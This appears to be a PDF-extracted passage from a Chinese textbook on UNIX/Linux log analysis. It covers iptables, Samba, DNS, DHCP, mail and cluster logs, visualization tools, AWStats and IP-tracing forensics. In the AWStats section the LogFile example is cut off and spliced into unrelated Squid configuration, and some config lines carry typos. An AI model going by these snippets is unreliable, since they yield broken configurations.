eth0 进入的 packet 记录; 经过上面两条命令操作之后/var/log/ iptables-log.1 的内容将如下所示: Sep 23 10:16:14 hostname kernel: iptables icmp-localhost IN=lo OUT= MAC=00:00:00:00:00:00:00:00: 00:00:00:00:08:00 SRC=127.0.0.1 DST=127.0.0.1 LEN=84 TOS=0x00 PREC=0x00 TTL=64 ID=0 DF PROTO=ICMP TYPE=8 CODE=0 ID=57148 SEQ=256 38 UNIX/Linux 网络日志分析与流量监控 上面这种方法比较麻烦。ulog 工具可使用 netlink 直接将日志广播到用户态,这样一来 效率更高。首先安装 ulog 包,命令如下: #apt-get install ulogd 查看 iptables 日志,如图 1-30 所示。 图 1-30 用 ulog 查看 iptables 日志 1.8 Samba 日志审计 随着文件共享安全级别的提高,越来越多的情况下需要对日志进行记录并审计。Linux 平台下的 Samba 服务的配置文件是 smb.conf,有不少图形化配置工具如 Webmin 、 smbconftool、SWAT 及 RedHat 提供的 system-config-samba 都可以简化配置 smb.conf 的过 程,但这些工具的细致程度却无法满足 samba 的需求。 1.8.1 Samba 默认提供的日志 下面的实例用来跟踪查询客户端通过 SMB 访问共享资源的情况。 命令 netstat –na |grep ESTABLISHED 显示 TCP 已连接情况,如图 1-31 所示。 图 1-31 Samba 日志分析 记录客户端的主机名 w2lk 和 IP:192.168.150.169 共享目录名称 public 客户端登录用户名 test 第 1 章 网络日志获取与分析 39 图 1-31 中倒数第二行的 PID 10600,代表 smbd 的进程 ID 号,用“ps -ef |grep 10600”可查看。与此同时,系统会把 samba 进程启动日志写到/var/log/messages 中。所有 客户机访问日志都放在一个日志里,不便于管理。如何将每个客户端的连接信息存放在单 独的文件中?我们需要在 smb.conf 上动点脑筋了。在 smb.conf 文件中已有一行代码可以实 现以上目的。 log file = /var/log/samba/%m.log 去掉前面的分号,然后重启 smbd 服务。如果担心日志过大,则启用下面这条命令: max log size = 500 最大日志容量为 500KB PID 起什么作用呢?通常大家不会关注 PID 号,有时在调试故障时却能通过 PID 发现 问题。 这里解释 PID 在调试故障时发挥的作用,如图 1-32 所示。 图 1-32 用 strace 分析 PID 上述第 1 条命令 #ps -ef |grep smb 用于查找 samba 进程列表,根据所连用户身份 (这里是 test 用户)可以轻松地知道 PID 是 13778 就是该用户的进程,接着运行带有两个参数的 strace 命令限制与文件相关的系统调用 输出。“-p 13778”参数告诉 strace 使用这个进程 ID 连接到运行的进程中。这条命令执行 后,结果输出会比较长,smb 会不停地扫描目录看看有无变化。当用户尝试有问题的操作 时,就会出现非常详细的信息了,这些信息会给用户解决问题(尤其是权限带来的问题,例 如出现拒绝访问等权限问题)带来不小的帮助。 1.8.2 Samba 审计 如果你觉得记录日志不详细,那么还可以通过 log level 参数来调整日志记录级别。 Samba 使用 LOG_DAEMON 将日志级别分为 10 级,级别越高,记录越详细。表 1-9 列出常 用的 4 级。 test 用户 40 UNIX/Linux 网络日志分析与流量监控 表 1-9 常用 Samba 日志级别 类 型 级 别 LOG_ERR 0 LOG_WARNING 1 LOG_NOTICE 2 LOG_INFO 3 使用审计模块可获得更多详细信息,下面介绍 samba 的 full_audit 模块的设置方法: 在全局配置项目中加入如下代码: #Audit settings full_audit:prefix = %u|%I|s full_audit:failure = connect full_audit:sucess = connect disconnect opendir mkdir rmdir closedir open close fchmod chown fchown chdir full_audit:facility = local5 full_audit:priority = notice %u:表示用户 %I:用户 IP 地址 %s:表示 Samba 服务器共享名称 同时在共享目录例如[public]配置项下,添加 vfs object=full_audit 修改完 smb.conf 配置,保存退出,然后用 testparm 测试配置文件正确性。下面为 Samba 审计日志的一条样本: #cat 192.168.150.154.log.old |grep audit Initialising custom vfs hooks from [full_audit] Module '/usr/lib/samba/vfs/full_audit.so' loaded [2013/05/05 04:02:06,0] modules/vfs_full audit.c:log_success(689) 1.9 DNS 日志分析 BIND 是目前 UNIX/Linux 环境下最为流行的 DNS 服务器软件,它的运行状况非常重 要,许多细节,例如服务占用 CPU 时间(查看负载大小)、查询记录、统计信息等都隐藏在 日志中。只有学会分析 DNS 日志才能有效解决故障。 1.9.1 DNS 日志的位置 BIND 软件默认将 DNS 日志送到/var/log/messages 文件中,有很多服务的信息都保存在 这个文件中(是由 syslog 定义的),要详细了解这些信息就要能先看懂它们。首先在 第 1 章 网络日志获取与分析 41 messages 文件中剥离 DNS 日志,方法如下: #cat /var/log/messages|grep named > /var/log/DNS.log 1.9.2 DNS 日志的级别 在 BIND 中,按照日志严重性从高到低主要分为以下 7 个级别:critical、error、 warning、notice、info、debug 和 dynamic。DNS 根据设定的级别来记录日志消息。当定义某 个级别后,系统会记录包括该级别及比该级别严重的级别所有信息,例如设定记录级别为 info,那么意味着记录 critical、error、warning、notice 和 info 这 5 个级别的信息,一般记录 到 info 级就够用了。 1.9.3 DNS 查询请求日志实例解释 DNS 日志比较复杂。先看一条简单的实例,日志如下: Nov 27 12:00:00:01.797 queries:info:client 64.124.24.13#58347 :query:youcomany.com IN A-E 日志解释见表 1-10。 表 1-10 DNS 查询请求 内 容 含 义 Nov 27 12:00:00:01.797 查询请求到达时间 64.124.24.13 递归服务器 IP(实际就是终端的 IP 地址) youcomany.com 查询域名 IN 资源类别(class) A 资源类型 (type) -E DNS 查询包的字段信息 - 不请求递归 E 支持 EDNS0(扩展的 DNS 协议) (1)Log_NOTICE 日志 当启动 BIND 服务器时,named 进程产生 LOG_NOTICE 日志,下面看个例子。 Nov 29 00:00:00 DNSserver named[10123]:starting.named 9.9.0 日志解释见表 1-11。 表 1-11 DNS 日志含义 内 容 含 义 Nov 29 00:00:00 DNS 服务启动时间 DNSserver 计算机名称 named 进程名称 10123 DNS 进程的 ID 号 Starting DNS 启动状态(启动中),重启表示 reloading Named 9.9.0 BIND 软件版本 42 UNIX/Linux 网络日志分析与流量监控 (2)LOG_INFO 日志 在 DNS 服务器运行中,每隔一段时间(1 小时)会产生如下的 LOG_INFO 日志信息: 1.Nov 29 01:00:00 DNSserver named [1078]:Cleaned cache of 26 RRset 2.Nov 29 01:00:00 DNSserver named [1078]:USAGE 977797432 976760631 CPU=5.77u/6.24s CHILD CPU=0u/0s 3.Nov 29 01:00:00 DNSserver named[1078]:NSTATS 977797432 976760631 0=2 A=13192 CNAME=321 PRT=11204 MX=1173 TXT=4 AAAA=32 ANY=4956 4.Nov 29 01:00:00 DNSserver name [1078]:XSTATS 977797432 976760631 RR=7629 RNXD=1368 RFwdR=4836 RDupR=51 RFail=159 RFErr=0 RAXFR=0 RLame=175 ROpts=0 SSysQ=2082 Sans=26234 SFwdQ=4520 SDupQ=1263 SErr=0 RQ=30889 RIQ=4 RFwdQ=0 RDupQ=259 RTCP=2 SFwdR=4836 SFail=6 SFErr=0 SNaAns=21753 SNXD=10276 z Cleaned cache of 26 RRset 表示清除 cache。 z USAGE 977797432 976760631 CPU=5.77u/6.24s CHILD CPU=0u/0s 表示 DNS 服务器 占用 CPU 时间。 z 977797432 976760631 表示 DNS 服务器运行时间,以秒为单位。 z CPU=5.77u/6.24s 表示 DNS 服务器使用时间,其中用户态 5.77s,系统态 6.24s (u:user,s:system)。 z CHILD CPU 表示 DNS 服务器子进程的 CPU 占用情况。 1.9.4 DNS 分析工具 dnstop 当我们分析 DNS 服务器日志时,希望了解哪些用户在使用 DNS 服务器,同时也希望对 DNS 查询做一个统计。一般情况下,可以使用命令“tcpdump –i eth0 port 53”来查看 DNS 查询包,当然也可以把输出重定向到文件,然后使用 rndc stats(bind9)来获取。但这种方 法对于初学者而言操作复杂,也不直观。下面介绍的这款工具 dnstop,使用起来就非常方 便。它的下载位置是: http://www.cyberciti.biz/faq/DNStop-monitor-bind-DNS-server-DNS-network-traffic-from-a- shell-prompt/ Debian Linux 用户可用 apt-get install dnstop 命令安装。 安装完成后就可以启动它,看看效果了: #./dnstop -s eth0 \\*当前目录在 dnstop 执行文件所在目录下。Redhat 或 #./dnstop eth0 \\*Debian 查询 DNS 流量的效果见下面的输出。 Queries:5 new ,268 total Sources Count $ ------------- --------- ------- 192.168.150.166 22 34.3 102.168.150.199 63 23.5 192.168.150.153 55 20.5 第 1 章 网络日志获取与分析 43 192.168.150.28 54 20.1 192.168.150.203 3 1.1 dnstop 在运行的过程中,可以键入、<1>、<2>以交互方式来显示不同 的信息。更详细的信息可以使用 man dnstop 命令进行查看。 1.10 DHCP 服务器日志 DHCP(Dynamic Host Configuration Protocol,动态主机配置协议)是一种有效的 IP 地 址分配手段,已经广泛地应用于各种局域网管理。它能动态地向网络中每台计算机分配唯一 的 IP 地址,并提供安全、可靠、简单和统一的 TCP/IP 网络配置,确保不发生 IP 地址冲 突。当在服务器上启用 DHCP 后,我们希望了解服务的运行情况,希望看到详细日志。可以 通过下面的命令了解到 DHCP 服务的日志文件在什么地方。 以 RHEL 5 系统为例,命令如下: #rpm –ql dhcp-server DHCP 服务的默认日志不会输出到指定文件,而是和 NFS 服务一样,输出到/var/log/ messages 文件中,成了日志的大杂烩,不便于分辨,更不便于查找故障,一旦 messages 文 件遭到破坏,DHCP 日志也跟着受影响。 对于以上日志我们可以把在 1.2 节学到的脚本放到这里进行分析。还有没有其他什么文 件,记录了 DHCP 的分配 IP 的信息呢?那就是/var/lib/dhcp/db/dhcpd.leases 文件,它记录了 客户机分配 IP 的详细信息。下面我们通过一个例子解读一下。 客户机每次获取地址后会产生如下信息: Lease 192.168.150.207 { Starts 1 2012/12/31 11:23:32 End 1 2012/12/31 11:25:32; Tstp 1 2012/12/31 11:25:32; Cltt 1 2012/12/31 11:25:32; Binding state free; 44 UNIX/Linux 网络日志分析与流量监控 Hardware ethernet 00:0c:29:51:b3:d9; Uid "\001\000\014)Q\263\331"; Client-hostname "linux-5jlv"; } 每当发生租约变化的时候,都会在文件结尾添加新的租约记录,也就是说这个文件是在 不断变化的。表 1-12 做出解释。 表 1-12 DHCP 日志含义 参 数 含 义 lease 租用 IP starts 开始时间 end 结束时间 tstp 指定租约过期时间 cltt 客户端续约时间 binding state 租约绑定状态自由(free)、激活(active) hardware ethernet 客户机网卡 MAC 地址 uID 客户端标识符由三位八进制表示用于与 MAC 匹配 client-hostname 客户机名称 从上面分析看到,DHCP 服务器的日志在 messages 和 dhcpd.leases 里分别有一部分,都 不全面。如何将 DHCP 的日志专门转储到特定文件中呢?下面介绍一种方法。 假设需要将日志记录在/var/log/目录下,则可以先用 touch 命令创建一个 dhcp.log 文件。 1)创建 dhcp.log 文件 #touch /var/log/dhcp.log #chmod 640 /var/log/dhcp.log 2)修改/etc/dhcpd.conf 配置文件,添加“log-facility”参数并赋值为 local4,内容如下: log-facility local4; 然后保存退出(不同 Linux 发行版配置文件路径有所不同)。 3)在/etc/rsyslog.conf 文件中添加 local4.* /var/log/dhcp.log 将下面这条 *.info;mail.none;authpriv.none;cron.none /var/log/mesages 改为: *.info;mail.none;authpriv.none;cron.none;local4.none /var/log/messages 目的是把消息传送到/var/log/messages 文件,而不再向 local4 传送。 注意要把下面这行语句注销: $ActionFileDefaultTemplate,RSYSLOG_TraditionalFileFormat 第 1 章 网络日志获取与分析 45 4)重启 Rsyslog 和 DHCP 服务 #service rsyslog restart #service dhcpd restart 重启 DHCP 服务即可生效,这时的日志文件就是 DHCP 服务器出现故障后排除错误的 一个重要基础数据。所以需要定期对这个日志文件作好备份工作。否则,当这个日志意外丢 失后,就很难查清 DHCP 服务器的故障。 1.11 邮件服务器日志 Sendmail 和 Postfix 是两个著名的开源邮件系统。下面给大家介绍其日志分析方法。 1.11.1 Sendmail 当 Sendmail 服务正常启动后,邮件收发日志就保存在/var/log/maillog 文件中(FreeBSD 系统中的 Sendmail 日志也在此路径)。这里保存的信息对我们平时故障分析非常有利,通过 查看 Sendmail 的日志,能得知邮件从哪里来,到哪里去,甚至在最终转发的邮件服务器上 的日志能显示这封邮件是从哪里转发的内容。用于分析 Sendmai 日志的工具是 Sendmail Analyzer(目前最新 9.0 版),它能监控 sendmail 使用,还会根据使用情况生成 HTML 和图 形报表,包含网络流量、邮箱使用报告,这些报告可以按照小时、天、月或者年生成报表。 当然 AWStats 同样可以分析邮件日志,方法后面再讲。下面给出一个通过日志排错的场景。 有一台 sendmail 服务器,平时用它发送邮件很正常,可最近发送邮件有点奇怪,总是针 对一个地址 abc@test.com 发不出去,但是用 Sina 和 263 邮箱都能顺利发送。大体上看,不 是对方邮件服务器有问题就是自己的系统有问题,先看看自己的日志吧。 May 23 11:30:16 server sendmail[14916]: h845B7J14912: to=abc@test.com, ctladdr=nobody (99/99), delay=00:00:09, xdelay=00:00:09, mailer=esmtp, pri=30265, relay=smtp.test.com. [203.185.43.xxx], dsn=5.0.0, stat=Service unavailable May 23 11:30:16 tjdata sendmail[14916]: h845T7J14912: h845TGI14936: DNS: Service unavailable 这个提示告诉作者一个线索:需要检查 DNS 服务。随后检查了/var/spool/mqueue 目录, 发现其中堆积了很多待发邮件,根据这些提示,检查了 DNS 服务器,当 DNS 服务正常后, 再次发送,故障排除。 1.11.2 Postfix Postfix 邮件系统日志也在/var/log/maillog 中,分析工具建议使用 James S. Seymour 编写 的 pflogsumm.pl 脚本,大家可以到 http://jimsun.linxnet.com/postfix_contrib.html 下载,然后可 以在 crontab 中添加下面的内容: 0 1 * * * /path/to/pflogsumm.pl -d today /var/log/maillog | mail -s "Mail Report" you@youdomain.com 它会定时把分析报告寄到你的邮箱中,其他的一些使用参数可以看 pflogsumm.pl 里 的信息。 46 UNIX/Linux 网络日志分析与流量监控 1.12 Linux 下双机系统日志 1.12.1 Heartbeat 的日志 目前关于 Heartbeat(一款实现 Linux-HA 的开源软件)的公开资料中,有原理介绍和配置 的部分资料,但是配置过程的可操作性、适用环境、功能实现等存在不足,尤其是对于 Heartbeat 日志部分的讲解非常少。本节在对 LVS(一款开源的负载均衡软件)研究基础上结 合企业目前需求,也结合了配置过程中利用日志排除故障的日志分析方法来讲解。在故障排除 过程中 Heartbeat 的系统日志是我们跟踪系统最好的方式,在 Heartbeat 中日志可以自定义输出 位置,只需在 ha.cf 文件中配置即可由 logfile 这行定义输出日志的位置,显示输出如下: 当启动集群后: #/etc/init.d/heartbeat start 默认启动日志会记录到 messages 文件中,通常我们排错时需要在多台负载均衡的服务 器上同时查看这个日志文件。在对比微小差别时可以使用 diff 命令(diff 是个传统的命令行 工具,不过笔者推荐图形化的比较工具 meld)。 此段日志是 Heartbeat 在进行初始化配置时的信息,例如,Heartbeat 的心跳时间间隔、 UDP 广播端口和 ping 节点的运行状态等,日志信息到这里会暂停,等待 120s 之后, Heartbeat 会继续输出日志,而这 120s 正好是 ha.cf 中"initdead"选项的设定时间。如果另一节 点在 120s 内还没启动,系统就会给出"nodex: is dead"的警告信息,接下来将会对集群的 IP、 挂接点等资源进行检测,最后给出成功启动的信息。 实效测试:当拔掉主节点网线后,日志显示如下: 第 1 章 网络日志获取与分析 47 1.12.2 备用节点上的日志信息 当主节点宕机时,在备用节点的 Heartbeat 进程会立刻收到主节点已经 shutdown 的消 息,并进行接管操作,部分日志记录如下: 1.12.3 日志分割 当集群系统工作一段时间以后,日志文件会逐步增大,为了便于查找和管理,需要对其 进行分割存储。下面讲解以天为单位存储日志的例子。默认的 Heartbeat 的日志是按周截断 存储,需要修改成按天存储。 编辑 heartbeat 配置文件,加入以下内容并保存。 #vi /etc/logrotate.d/heartbeat 然后重启动 heartbeat 服务,即可实现日志分割功能。 1.13 其他 UNIX 系统日志分析 GUI 工具 本节以 Solaris 和 Mac OS 为例讲解如何查找系统日志。 1.13.1 用 SMC 分析系统日志 我们知道 Linux 系统下的 System log viewer 是 GNOME 桌面环境的日志文件查看器,而 在 Solaris9/10 系统下,同样有非常易用的 GUI 工具 SMC(Solaris Management Console),目 前版本是 2.1,它包括了服务器组件(SUNWmc)、客户机组件(SUNWmcc)、常规组件 (SUNmccom)、开发工具包(SUNWmcdev)、WBEM 组件(SUNWwbmc)。这些组件提供 48 UNIX/Linux 网络日志分析与流量监控 了系统配置、网络服务管理、存储管理和设备管理等诸多优秀的管理工具,其中日志查看器 是管理员经常要关注的地方,它记录了系统日志,如图 1-33 所示。 图 1-33 SMC 控制台 1)确定控制台服务器是否正在运行: # /etc/init.d/init.wbem status SMC server version 2.1.0 running on port 898 2)如果控制台服务器未运行,则启动它: #/etc/init.d/init.wbem start 3)启动 SMC: #/usr/sadm/bin/smc & 由于 SMC 权限管理是基于角色的,所以要以 root 身份进入,才能查看全部日志信息。 1.13.2 Mac OS X 的 GUI 日志查询工具 Mac OS 系统的日志一般人不会关注,有时在计算机取证过程中需要用到它。这里总结 出常用的日志列表,如表 1-13 所示。 表 1-13 Mac 系统主要日志 名 称 路 径 Apple 系统日志消息 /var/log/asl VPN、PPPoE 日志 /var/log/ppp.log 打印机访问日志 /var/log/cups/access_log 电源管理日志 /usr/bin/pmset-g.log 防火墙日志 /var/log/appfirewall.log 文件系统修复日志 /Users/username/Library/logs/fsck_hfs.log 系统诊断信息 /var/log/DiagnosticMessages 另外,在 Mac OS X 以上系统自带日志查询工具,如图 1-34 所示。 选择不同的 日志文件 原始日志 详细内容 第 1 章 网络日志获取与分析 49 图 1-34 Mac OS 日志查询工具 图中左边一栏是系统所有日志的列表,右边对应了某条日志的内容,在右上方的搜索区 域,还可以根据关键字进行查询,使用还是相当方便的。 下面以 Mac OS X 下防火墙日志为例,介绍其查看方法。如果系统开启了防火墙功能, 系统将把防火墙日志记录到 appifrewall.log 文件中,下面对标准日志做一下说明。 #cat /var/log/appfirewall.log Jan 15 18:44:47 localhost socketfilterfw[49251]:Deny netbiosd data in for 192.168.11.6:137 to port 137 proto=17 … … RFC768 中规定协议号 17 代表 UDP 协议,137 代表端口号。 1.14 可视化日志分析工具 前面给大家介绍了如何查询分析 UNIX/Linux/Windows 系统日志。在实际工作中一旦置 身在大量日志中,分析日志时间一长,极易出现视觉疲劳现象,造成错看或漏看。如果让日 志能带上演色,就能缓解视觉疲劳,快速定位故障日志。下面讲到的可视化(Visualization) 技术是使用计算机图形学,以及图像处理的一种技术,它将复杂的大量日志数据转换为方便 查看的图形或者图像,为日志研究分析及处理打好基础。下面向大家推荐 3 种方便实用的小 工具,这几款工具在 OSSIM 4.x(见第 14 章)系统中均安装通过。另外,在第 3 章将继续 介绍几种可视化日志采集分析系统。 1.14.1 彩色日志工具 ccze ccze 是一款能够将 Linux 系统日志带上颜色的开源工具,它能够迅速让你查看到日志中 50 UNIX/Linux 网络日志分析与流量监控 的故障信息。安装与使用方法如下: 首先在 http://koji.fedoraproject.org/koji/下载 ccze 安装文件,手工编译安装,或者在 Debian(或 Ubuntu)系统中,用下面命令安装: #apt-get install ccze 首次使用时,可以用“ccze –l”查看功能列表。 用这个命令可以列出所有支持的日志格式。经过测试 ccze 还支持 proftp 的日志格式 (ccze 默认列出来)。图 1-35 中对比了使用 ccze 和 tail 查看同一个 vsftp.log 日志的不同显示 效果,可见利用 ccze 特有的颜色提示能使可读性更好。 图 1-35 使用 tail 和 ccze 工具显示日志对比 下面为 ccze 取个别名,并查看一下 messages 日志文件。 #alias cz='(ccze -m ansi |less -MnFRX)' \\*设定别名\\ #tail -fn40 /var/log/messages |ccze 设定别名之后就方便多了。下面接着看两个简单的应用: (1)查看 apache 错误日志: cz <./error_log-20130106 (2)查看 dmesg 日志: dmesg |tail |cz 1.14.2 动态日志查看工具 logstalgia 我们通过命令: #tail –f /var/log/messages : ccze 可以看到实时日志变化,但看起来不够直观。 logstalgia 是一款 Web 站点访问日志实时分析的开源工具,可以直观地显示结果。其可 视化过程可划分为日志 RAW(原始数据)的预处理、数据的可视化结构展示、视图绘制三 第 1 章 网络日志获取与分析 51 个部分。logstalgia 安装非常简单,在 Ubuntu 下使用如下命令即可安装: # apt-get install logstalgia 命令格式:logstalgia [OPTIONS] file 下面用 logstalgia 查看 Apache 访问日志: #logstalgia /var/log/apache2/access.log 执行效果如图 1-36 所示。 图 1-36 logstalgia 显示 apache 日志动态效果 1.14.3 三维日志显示工具 gource gource 的设计目的是将代码版本控制系统里面的日志全部可视化,也就是说可以直观地 显示每个成员在系统里面提交代码的行为,但是用在 Apache 日志分析上非常有用。这款工 具可以为日志信息赋予各种颜色,动态显示,而且比以往增加了 3D 层次感,使得日志分析 过程不再枯燥。在 Ubuntu 系统下安装和使用变得非常方便。 安装方法如下: #apt-get install gource 启动 gource 方法如下: #gource /var/log/apache2/access.log 其动态显示效果非常不错,执行效果如图 1-37 所示。 图 1-37 gource 显示 apache 3D 日志 52 UNIX/Linux 网络日志分析与流量监控 除此之外,推荐一款非常实用的可视化的文件及目录对比(diff)/合并(merge)工具 Meld,它可以对两个或三个文件/目录进行对比,并以图形化的方式显示出它们的不同之 处,同时还提供编辑及合并功能,这个工具在对比新旧日志时非常有帮助,这就无需在 vi 中打开多个窗口进行对比了。使用效果如 1-38 所示。 图 1-38 用 Meld 比较日志的变化 在图 1-38 中清晰地显示了日志文件的差异。Meld 还能显示同一个配置文件的变化,把 发生变化的字段用颜色标记出。 1.14.4 用 AWStats 监控网站流量 目前开源的日志分析软件有很多,比如 AWStats、Webalizer 和 Analog 等。下面重点介 绍一下网站日志分析工具 AWStats。它是用 Perl 编写的,可以分析的日志格式包括 APache 的两种日志格式(NCSA combined/XLF/ELF 或 common/CLF)、WebStar、IIS(W3C)、邮件 服务和一些 FTP 服务的日志,并产生 HTML 页面和图表。与其他开源日志分析软件相比, AWStats 具有以下鲜明的特点: 1)界面友好、美观。 2)输出项目非常丰富,比如对搜索引擎和搜索引擎机器人的统计是其他软件少有的。 3)入门非常简单,首次使用仅需要修改配置文件 4 处即可。 4)良好的扩展性,有不少针对 AWStats 的插件。 5)与基于 C 语言的日志分析软件相比,AWStats 分析日志的速度稍慢。 通过 AWStats 分析日志,用户可以看到以下数据:访问人次和访问网站的 IP 总数,访 问者和访问网站的独立 IP 数,网页数(即访问所有网页的次数)、文件数和字节,每个 IP 的访问次数,访问的文件类型,访问所花费的时间;访问者从什么 URL 连接过来,操作系 统和浏览器类型,搜索引擎机器人的访问次数,从哪个搜索网站跳转过来的次数等信息。 1.安装 AWStats AWStats 的安装很简单,把 AWStats 的 Perl 脚本复制到 Apache 的 CGI 目录即可。安装 环境必须是支持 Perl 的操作系统,带有 Perl 的 Linux 一般没有问题。 首先从 AWStats 官方网站 http://www.awstats.org/下载最新版本(7.4)。下载并解压,包 括以下几个文件和文件夹: docs 文件夹包括 HTML 格式的文档,叙述 AWStats 的安装和用法。 第 1 章 网络日志获取与分析 53 README.TXT 是该软件的介绍和版权信息等。 tools 文件夹里面是一些脚本和配置文件,比如批量 Update 的脚本、转换静态 HTML 文 件的脚本、httpd.conf 的配置文件等。 wwwroot 文件夹最为重要,里面是 AWStats 的主要程序。 wwwroot 文件夹里面又有 5 个子文件夹,分别为 AWStats、css、js、icon 和 classes。真 正需要使用的只有 AWStats 和 icon 文件夹。AWStats 文件夹中是 AWStats 的主程序,而 icon 是 AWStats 需要用到的一些图片和图标。如果可以控制服务器,并且能更改 Apache 服务的 配置文件,那么可以使用 tools 目录下面的 AWStats_configure.pl 脚本进行安装。AWStats_ configure.pl 脚本是一个交互式的脚本,运行脚本后会自动检查安装目录和权限等,一般情况 下只需要指定 Apache 的配置文件 hffpd.conf 的位置,即可完成安装。 如果使用的是虚拟主机,并没有完全控制 Apache 的权限,那么只需将 wwwroot/ AWStats 文件夹放置在具有 CGI 权限的目录下,比如 http://www.website.com/AWStats 站点, 将 wwwroot/icon 目录复制到网站的根目录下即可完成安装。 2.配置 AWStats 首先需要为站点建立配置文件。在 wwwroot/AWStats/目录下有—个 AWStats.model.conf 配置文件,将其改名为 AWStats.www.website.com.conf。然后编辑该配置文件,有几个选项 是必须修改的,下面逐一列出。 (1)LogFile 该选项指定了日志文件的路径和名称,比如: Logfile="/home/apache_loga/access.log.2012-07-06" 也可以使用动态的变量指定: LogFile="/home/apache_loga/access.log.%YYYY-24-%MM-24-%DD-24" 如果 Apache 做过轮询,就可以自动取得上一天的日志。另外,如果日志文件是压缩 的,也可以在这里直接使用命令进行读取,而无需解压,比如: LogFile="gzip-da %ui %un [%tl] "%rm %ru HTTP/%rv" %Hs %h" "%{User- Agent}>h" %Ss:%Sh %{host}>h access_log /var/log/squid/access.log combined (2)修改 AWStats 配置 #vi /etc/awstats/awstats.conf.local LogFormat = "%host %other %logname %time1 %methodurl %code %bytesd % refererquot % uaquot %other %virtualname" LogFile="/var/log/squid/access.log" 注意 Squid 的日志需要加上虚拟主机名。 AWStats 是一个强大的日志分析工具,其分析和统计结果客观可靠,能帮助网站管理者 作出正确的决策。AWStats 的功能和插件还有很多,能够完成许多特定功能的日志分析。读 者可以到 AWStats 的官方网站上查看相关文章。 第 2 章 UNIX/Linux 系统取证 57 第 2 章 UNIX/Linux 系统取证 本章介绍了大量 UNIX 平台下计算机取证的方法,用实例展示了硬盘数据收集和恢复技 巧,并用两个案例展示了如何灵活运用各种工具来处理网络故障。 2.1 常见 IP 追踪方法 IP 地址就像计算机设备的“身份证”。由于源 IP 地址可能被欺骗或伪造,用于攻击的 源 IP 地址可能是真正攻击来源经过多个跳跃点后形成的,因此,源 IP 地址是进行攻击者身 份跟踪的开始。然而,在确定源 IP 地址时还有很多问题,如动态拨号用户的 IP 查找(具体 方法在本书后面案例中有讲述),利用了代理或多级跳的攻击者 IP 的查找等。 2.1.1 IP 追踪工具和技术 IP 追踪是指通过一定的技术手段,根据相关信息定位攻击流的真正来源,以及推断攻击 数据包经过的完整路径。数据包的来源可能是发出数据包的实际主机或者网络,也可能是实 施追踪的网络中的被攻击者控制的某台路由器。在后面的案例中会有详细案例说明如何追踪 IP,这里先看几个简单的工具和技术。 1.Netstat 收集系统内核中的网络状态 无论是哪种网络操作系统,都可以使用“netstat”命令获得所有联机被测主机网络用户 的 IP 地址。使用“netstat”命令的缺点是只能显示当前的连接,如果使用该命令时攻击者没 有连接,则无法发现攻击者的踪迹。 网络状态存放在核心表中,它不仅能提供当前网络连接的重要信息,也能提供监听进程 的重要信息。一旦攻击者启动一个非法网络进程,进行未经授权的连接建立,网络安全人员 就需要用命令了解这些非法连接。在 UNIX/Linux 和 Windows 系统中,使用 netstat 命令来捕 获这些信息: #netstat -p netstat 提供了系统的状态、正在连接的计算机名称,以及其他系统服务的详细信息。使 用 netstat 还能显示路由表: #netstat -rn 2.Traceroute Traceroute 是一个系统命令,它决定了接下来的一个数据包到达目的系统的路由。 Traceroute 由 IP 的 TTL 字段引起 ICMP 超时响应来判断到达目标主机路径中的每一个路由 器。可以根据 TTL 值的变化来确定目标系统的位置。 2.1 常见 IP 追踪方法 58 UNIX/Linux 网络日志分析与流量监控 3.可视化路由追踪工具 网络追踪的一种有效武器就是查路由信息,当入侵者访问了一连串站点后一定会在路由 器上留下他的 IP 记录。当然不是谁想去 ISP 路由器那里查日志都行的,从法律上讲,要公 安部门才可以;从技术上讲,在 ISP 路由器上查日志会非常消耗资源,导致网络转发数据包 效率严重下降。这里给普通用户推荐一个好用的工具:VisualRoute 网络路径结点回溯分析工 具(适用于各种平台),它可以通过在世界地图上显示连接路径,让你知道当无法连上某些 网站 IP 时的真正问题所在。 4.Whois 数据库 Whois 数据库包含了在 Internet 上注册的每个域的联系信息。使用 Whois 数据库可识 别哪个机构、公司、大学和其他实体拥有 IP 地址,并获得了连接点。后续章节将会有实例 讲解。 5.日志数据记录 服务器系统的登录日志记录了详细的用户登录信息。在追踪网络攻击时,这些数据是最 直接、有效的证据。但有些系统的日志数据不完善,网络攻击者也常会把自己的活动从系统 日志中删除。因此,需要采取特殊的补救措施,以保证日志数据的完整性。 6.防火墙日志 防火墙日志可能被攻击者删除和修改。因此,在使用防火墙日志之前,有必要用专用工 具检查防火墙日志的完整性,以免得到不完整的数据,贻误追踪时机。 7.利用搜索引擎 利用搜索引擎能查询到网络攻击者的源地址,因为黑客们在 Internet 上有自己的虚拟社 区,他们在那儿讨论网络攻击技术方法,炫耀攻击战果,这样会暴露攻击源的信息。因此, 往往可以用这种方法意外地发现网络攻击者的 IP。 8.对 AS 的交叉索引查询 在查询路由时,经常需要查询 AS(自治系统号码),以便追踪和收集路由器与网络信 息,查看 Internet 的上下行连接信息。可以在 http://fixedorbit.com/search.htm 对 AS 号进行交 叉索引。 9.IP 地址信誉评价(IP Reputation Analysis) 在第 14 章将介绍一种 IP 地址评价系统,它能基本反映出互联网中 IP 地址的信誉度。IP reputation 过滤器由 Postini Threat Identification Network (PTIN)支持,这是一个记录那些 曾经有过邮件攻击行为的 IP 的实时信息资源。当一些防垃圾邮件系统,例如 McAfee 防垃 圾邮件模块发现有来自“恶意”IP 地址的信息时,设备就会即刻拒收该信息。如图 2-1 所示。 OSSIM 中反映出的 IP 特征与 IP 地址相关,包括 IP 地址的域名、地理位置、操作系统 和提供的服务功能等,通过这些信息基本可构建出全球 IP 信誉系统。如果没有 OSSIM 系 统,也可以到 http://www.commtouch.com/check-ip-reputation/查询。例如查询结果显示: This IP address has not been used for sending Spam 这代表这个 IP 地址没有被用来发送垃圾邮件。 全球许多组织维护了几个黑名单,用来跟踪记录 IP 的信誉度,目前还有个反滥用项目 第 2 章 UNIX/Linux 系统取证 59 (www.anti-abuse.org/multi-rbl-check),这个网站可以自动利用 50 多个黑名单检查 IP 和域 名。如果有个 IP 出现在多个黑名单上,则可以确定是有问题的 IP。 图 2-1 OSSIM 系统中 IP 地址信誉评价及地理分布 一旦找到了有嫌疑的 IP 地址就需要确定以下四个问题: z IP 地址的地理位置位于何处? z 什么组织机构负责该 IP 地址? z 该地址的不良信誉如何? z 哪些 DNS 条目指向了这个 IP? 针对这四个问题会在后面的案例讲解。 2.1.2 DoS/DDoS 攻击源追踪思路 DoS/DDoS 攻击不需要攻击者与受害者进行交互,攻击者可以伪造源 IP 地址。而有些 DoS 攻击(如 SYN Flooding 等),伪造地址会使攻击更有效,从而难以采取有效的措施防范 